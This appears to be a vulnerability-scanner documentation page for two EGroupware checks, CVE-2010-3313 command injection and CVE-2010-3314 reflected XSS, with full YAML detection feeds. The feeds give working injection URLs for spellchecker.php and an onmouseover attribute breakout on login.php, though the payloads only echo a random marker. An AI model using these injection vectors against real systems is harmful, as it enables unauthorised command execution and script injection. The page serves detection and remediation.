EGroupware — 2 vulnerability checks

noctis ships 2 vulnerability checks for EGroupware, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

EGroupware FCKeditor spellchecker.php Command Injection

CVECVE-2010-3313
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/egroupware/CVE-2010-3313.yaml

EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) ship an FCKeditor spell-check script that builds an aspell command line from the aspell_path and spellchecker_lang query parameters and runs it through the shell, without any login, allowing unauthenticated command execution.

Under the web root, /egroupware and /egw, this check POSTs one word to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php with aspell_path set to the command echo NOCTIS$((a+b)), where a and b are random numbers drawn for each scan; when that gives no proof it sends the same command in spellchecker_lang after a ";". The finding requires the reply to contain NOCTIS followed by the sum of a and b — a value only the target's shell can compute, since the request carries the arithmetic expression, not its result. The command only prints text; nothing is left on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scr… with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scr… with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks p.marker for ^NOCTIS[0-9]{7}$ → finding QoD 97: EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)
  7. Checks p.marker for ^NOCTIS[0-9]{7}$ → finding QoD 97: EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)

References:

Feed source — tests/vulnerabilities/egroupware/CVE-2010-3313.yaml
# EGroupware 1.4.001/1.6.001/1.6.002 — FCKeditor spellchecker.php command injection — CVE-2010-3313
#
# EGroupware's FCKeditor SpellerPages server script
# (phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/
# spellchecker.php) took the aspell program and its language from the query string,
# without a session check, and ran
#   shell_exec("$aspell_prog -a --lang=$lang --encoding=utf-8 -H --rem-sgml-check=alt < $tempfile 2>&1")
# with $aspell_prog = $_GET['aspell_path'] and $lang = $_GET['spellchecker_lang'].
# Every output line that is not an aspell result ("&", "#", "*", "@") is printed back in
# error = 'Error executing `<cmd>`\n<lines>';. Fixed in 1.6.003 (upstream commit
# 2c81925b20, branch 1.6 of github.com/EGroupware/egroupware): the script requires an
# EGroupware session and escapeshellarg()s the language.
#
# This feed is beyond the reference check, which only tests the login.php lang XSS
# (CVE-2010-3314, own feed egroupware/CVE-2010-3314.yaml): it proves the command
# execution itself with `echo NOCTIS$((a+b))` — the shell-computed sum of two random
# numbers, never sent, comes back in the page. The payload has no quote or backslash, so
# PHP magic_quotes_gpc does not break it, and the trailing "#" comments out the rest of
# the aspell command line. The script writes its usual aspell_data_* temp file (the
# POSTed word "noctis") and deletes it before answering, as on every spell check.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100824, GPL-2.0-only) for the product/CVE pair; request
# derived from the vulnerable upstream source.
uid: 9b10cfd4-727f-4608-9f50-82f3daa4f6cf
name: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
description: |
  EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) ship an
  FCKeditor spell-check script that builds an aspell command line from the aspell_path
  and spellchecker_lang query parameters and runs it through the shell, without any
  login, allowing unauthenticated command execution.

  Under the web root, /egroupware and /egw, this check POSTs one word to
  phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
  with aspell_path set to the command echo NOCTIS$((a+b)), where a and b are random
  numbers drawn for each scan; when that gives no proof it sends the same command in
  spellchecker_lang after a ";". The finding requires the reply to contain NOCTIS
  followed by the sum of a and b — a value only the target's shell can compute, since
  the request carries the arithmetic expression, not its result. The command only
  prints text; nothing is left on the server.
cves: [CVE-2010-3313]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [egroupware, fckeditor, rce, command-injection, php, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3313"
  - "https://github.com/EGroupware/egroupware/commit/2c81925b20802b920f08a3fe4b0bfd7d600d2fbb"
  - "http://www.securityfocus.com/bid/38609"
  # OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl (GPL-2.0-only)

steps:
  # Random operands; only their sum (never sent) proves execution.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: false

  # ── Loop group: every following step runs once per install dir.
  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/egroupware", "/egw"]

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {status: 0, body: ""}

  # 1. aspell_path = "echo NOCTIS$((a+b)) #" → the whole command line is our echo.
  - id: inject-path
    action: http_request
    method: POST
    path: "{{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?aspell_path=echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29%20%23"
    port: "{{port}}"
    condition: "hit == false"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "textinputs%5B%5D=noctis"
    store_as: r1

  - id: check-path
    action: script
    store_as: hit
    code: |
      hit || (r1.status == 200 && type_of(r1.body) == "string" && ereg(p.marker + "([^0-9]|$)", r1.body))

  # 2. spellchecker_lang = "noctis;echo NOCTIS$((a+b)) #" (aspell_path left at its default).
  #    An unknown language makes aspell exit at start-up instead of reading stdin
  #    (its "< tempfile" is commented out by the "#").
  - id: inject-lang
    action: http_request
    method: POST
    path: "{{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=noctis%3Becho%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29%20%23"
    port: "{{port}}"
    condition: "hit == false && r1.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "textinputs%5B%5D=noctis"
    store_as: r2

  - id: check-lang
    action: script
    store_as: hit2
    code: |
      !hit && r2.status == 200 && type_of(r2.body) == "string" && ereg(p.marker + "([^0-9]|$)", r2.body)

  - id: report-path
    action: match
    source: p.marker
    pattern: "^NOCTIS[0-9]{7}$"
    condition: "hit == true"
    on_match:
      finding:
        title: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
        description: "The FCKeditor spell-check script ran a shell command taken from its aspell_path parameter without any login: the reply carried the output of echo NOCTIS$((a+b)), the sum of two random numbers computed by the target's shell. An unauthenticated attacker can run any command as the web server user."
        remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later). Until then, deny web access to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php."
        confidence_delta: 0.67
        qod: 97
        evidence: "POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?aspell_path=echo NOCTIS$(({{p.a}}+{{p.b}})) # returned HTTP 200 with the shell-computed marker {{p.marker}}"
      stop: true

  - id: report-lang
    action: match
    source: p.marker
    pattern: "^NOCTIS[0-9]{7}$"
    condition: "hit2 == true"
    on_match:
      finding:
        title: "EGroupware FCKeditor spellchecker.php Command Injection (CVE-2010-3313)"
        description: "The FCKeditor spell-check script ran a shell command appended to its spellchecker_lang parameter without any login: the reply carried the output of echo NOCTIS$((a+b)), the sum of two random numbers computed by the target's shell. An unauthenticated attacker can run any command as the web server user."
        remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later). Until then, deny web access to phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php."
        confidence_delta: 0.67
        qod: 97
        evidence: "POST {{dir}}/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?spellchecker_lang=noctis;echo NOCTIS$(({{p.a}}+{{p.b}})) # returned HTTP 200 with the shell-computed marker {{p.marker}}"
      stop: true

EGroupware login.php lang Reflected XSS

CVECVE-2010-3314
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/egroupware/CVE-2010-3314.yaml

EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) print the lang parameter of login.php back into the html xml:lang and meta language attributes of the login page without escaping, allowing reflected cross-site scripting.

Under the web root, /egroupware and /egw, this check requests login.php?lang=en" onmouseover=alert(/marker/) x=", where marker is random for each scan. The finding requires an HTTP 200 eGroupWare page in which the xml:lang or meta language attribute holds en, then the raw double quote that closes it (a backslash before it, from PHP magic quotes, is still a breakout), then the injected onmouseover=alert(/marker/) attribute. A page that escapes or rejects the value is not reported. The request only displays the login page and changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php?lang=en%22%20onmouseover%3Dalert%28%2F{{tok}}%2F%29%20x%3D%22
  3. Parses / computes the next value with a Rhai script
  4. Checks xss_proof for onmouseover=alert\(/noctis[0-9a-f]{12}/\)$ → finding QoD 75: EGroupware login.php lang Reflected XSS (CVE-2010-3314)

References:

Feed source — tests/vulnerabilities/egroupware/CVE-2010-3314.yaml
# EGroupware 1.4.001/1.6.001/1.6.002 — login.php lang reflected XSS — CVE-2010-3314
#
# login.php copied $_GET['lang'] into the user's "lang" preference without any check,
# and phpgwapi/templates/default/head.tpl printed it raw in
#   <html xml:lang="{lang_code}" ...>  and  <meta name="language" content="{lang_code}" />
# Fixed in 1.6.003 (upstream commit a8803dbd9a, branch 1.6 of
# github.com/EGroupware/egroupware): lang must match ^[a-z]{2}(-[a-z]{2})?$ in login.php
# and again in egw_framework::_get_header().
#
# Differences with the source NASL (2010/gb_egroupware_mult_vulns_09_10.nasl):
#   - the NASL sends lang=" style=... onMouseOver="alert('vt-xss-test') and greps
#     onMouseOver=.alert\('vt-xss-test'): the single quotes become \' under PHP
#     magic_quotes_gpc (the PHP 5.2 default of the time), so a vulnerable install with
#     magic quotes on is missed. This feed sends en" onmouseover=alert(/<random>/) x="
#     — no single quote, an unquoted handler value — and accepts the backslash magic
#     quotes put before each double quote (still a breakout in HTML);
#   - the NASL trusts any page echoing its fixed string; this feed requires the random
#     marker inside the xml:lang or meta language attribute it breaks out of, on an
#     eGroupWare page (its meta keywords/description tag);
#   - the NASL relies on its product detection for the install dir; this feed walks the
#     web root, /egroupware and /egw.
# The command injection of the same advisory (CVE-2010-3313) has its own feed:
# egroupware/CVE-2010-3313.yaml.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100824, GPL-2.0-only).
uid: fcc0fdab-49c0-4827-8c60-4661fbc18cd6
name: "EGroupware login.php lang Reflected XSS (CVE-2010-3314)"
description: |
  EGroupware 1.4.001, 1.6.001 and 1.6.002 (and EPL 9.1/9.2 before 20100309) print the
  lang parameter of login.php back into the html xml:lang and meta language attributes
  of the login page without escaping, allowing reflected cross-site scripting.

  Under the web root, /egroupware and /egw, this check requests
  login.php?lang=en" onmouseover=alert(/marker/) x=", where marker is random for each
  scan. The finding requires an HTTP 200 eGroupWare page in which the xml:lang or
  meta language attribute holds en, then the raw double quote that closes it (a
  backslash before it, from PHP magic quotes, is still a breakout), then the injected
  onmouseover=alert(/marker/) attribute. A page that escapes or rejects the value is not
  reported. The request only displays the login page and changes nothing on the server.
cves: [CVE-2010-3314]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [egroupware, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3314"
  - "https://github.com/EGroupware/egroupware/commit/a8803dbd9af89b834ef329c030d94546d6cd6408"
  - "http://www.securityfocus.com/bid/38609"
  # OpenVAS/Greenbone NASL 2010/gb_egroupware_mult_vulns_09_10.nasl (GPL-2.0-only)

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install dir.
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/egroupware", "/egw"]

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/login.php?lang=en%22%20onmouseover%3Dalert%28%2F{{tok}}%2F%29%20x%3D%22"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe_r

  # The injected attribute right after the closed xml:lang / meta language value, on an
  # eGroupWare page — or "".
  - id: reflection
    action: script
    code: |
      let out = "";
      let b = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      let brand = ereg("(?i)<meta\\s+name=\"(keywords|description|copyright|author)\"\\s+content=\"egroupware", b);
      let m = eregmatch("(?i)(xml:lang|<meta\\s+name=\"language\"\\s+content)=\"en\\\\?\" onmouseover=alert\\(/" + tok + "/\\)", b);
      if brand && type_of(m) == "array" && m.len() > 0 {
        out = m[0];
      }
      out
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: 'onmouseover=alert\(/noctis[0-9a-f]{12}/\)$'
    on_match:
      finding:
        title: "EGroupware login.php lang Reflected XSS (CVE-2010-3314)"
        description: "A login page request whose lang value carries a double quote and an event handler was answered with an eGroupWare page where that quote closes the xml:lang / meta language attribute and the onmouseover handler becomes a new attribute of the element. An attacker can send a user a login link that runs script in the context of the site."
        remediation: "Upgrade EGroupware to 1.6.003 or later (EPL 9.1.20100309 / 9.2.20100309 or later), which only accepts language codes of the form xx or xx-yy."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/login.php?lang=en\" onmouseover=alert(/{{tok}}/) x=\" returned HTTP 200 with an eGroupWare page containing the injected attribute unescaped: {{xss_proof}}"
      stop: true

View these feeds on GitHub